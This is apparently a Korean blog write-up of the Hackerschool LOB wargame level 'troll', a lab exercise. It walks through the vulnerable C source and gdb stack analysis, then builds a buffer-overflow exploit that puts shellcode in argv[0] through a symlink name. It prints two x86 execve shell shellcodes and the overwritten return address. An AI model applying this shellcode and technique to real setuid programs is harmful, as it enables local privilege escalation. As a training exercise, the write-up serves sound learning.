orge - timewalker
우선 orge의 디렉터리를 확인한다.
troll이라는 의심스러운 파일이 존재한다. troll은 troll의 권한을 가지고 있고, setuid가 걸려있는 파일이다.
troll.c를 가지고 troll 파일을 만들었을 가능성이 있기 때문에, troll.c 파일을 본 뒤 어떤 취약점을 가지고 있는지 확인해보자.
환경 변수 리스트의 포인터를 선언한다.
environ을 통해 모든 환경변수에 접근할 수 있다.
1 | extern char **environ; | cs |
지역 변수를 선언한다.
1 2 | chat buffer[40]; int i; | cs |
인자가 한 개가 아니라면 "argc must be two!\n"를 출력하고 종료한다.
1 2 3 4 5 | if(argc != 2) { printf("argc must be two!\n"); exit(0); } | cs |
모든 환경변수를 0으로 초기화한다.
1 2 | for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); | cs |
인자의 48번째 문자가 "\xbf"가 아니면 "stack is still your friend!\n"를 출력하고 종료한다.
1 2 3 4 5 | if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); } | cs |
인자의 길이가 48 byte 이상이면 "argument is too long!\n"을 출력하고 종료한다.
1 2 3 4 5 | if(strlen(argv[1]) > 48) { printf("argument is too long!\n"); exit(0); } | cs |
인자를 buffer에 저장하고 출력한다.
1 2 | strcpy(buffer, argv[1]); printf("%s\n", buffer); | cs |
buffer를 초기화 한다.
1 | memset(buffer, 0, 40); | cs |
인자를 초기화 한다.
1 | memset(argv[1], 0, strlen(argv[1])); |
troll의 메모리 구조를 예상해보면 아래와 같이 그릴 수 있다.
실제 배열과 변수가 할당되면서 변수와 배열 사이에 gcc가 최적화를 위해 자동적으로 dummy를 생성할 수 있다.
gdb를 이용해서 troll을 분석해보자. troll을 gdb로 실행하는 도중 permission denied가 발생하면 cp 명령을 이용해 파일을 복사하면 현재 user의 권한으로 똑같은 파일을 가질 수 있다.
위와 같이 trollcp가 orge의 권한으로 troll 파일을 복사한것을 확인할 수 있다.
dummy가 생성되었는지 gdb를 통해 확인해보자.
dummy가 추가적으로 생성되지 않고 정확히 44(0x2C) byte가 생성된것을 확인할 수 있다.
troll을 분석해본 결과 환경 변수, 버퍼, 스택에서 RET이 저장된 뒷 공간을 사용할 수 없다.
새로운 공격 공간은 argv[0]이다. darkelf에서 argv[0]==77로 인해 길이를 조절한것을 생각해 볼 수 있다.
troll에서는 argv[0]에 쉘코드를 넣어 길이를 조정할 것이다.
즉, 심볼릭링크 파일이름을 쉘코드로 수정하는 것이다.
argv[0]의 주소를 알기 위해 소스코드를 약간 수정한다.
심볼릭 링크를 쉘코드의 이름으로 한다. argv[0]의 주소가 0xbffffb9f임을 확인했으니 RET을 0xbffffb9f로 수정한다.
지금까지는 아래의 쉘코드를 사용했다.
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
하지만 "\x2f"는 /를 뜻하고 /는 디렉터리를 나타내는 기호이다.
따라서 "\x2f"가 없는 쉘코드를 작성해야한다.
아래의 쉘 코드를 이용해 공격을 진행할 것이다.
"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"
argv[0]의 주소를 알았으니 공격대상을 trollcp에서 troll로 변경하여 공격한다.
'Wargame > LOB' 카테고리의 다른 글
해커스쿨 LOB vampire 풀이, write-up (0) | 2018.08.15 |
---|---|
해커스쿨 LOB troll 풀이, write-up (0) | 2018.08.14 |
해커스쿨 LOB darkelf 풀이, write-up (0) | 2018.08.13 |
해커스쿨 LOB wolfman 풀이, write-up (0) | 2018.08.13 |
해커스쿨 LOB orc 풀이, write-up (2) | 2018.08.12 |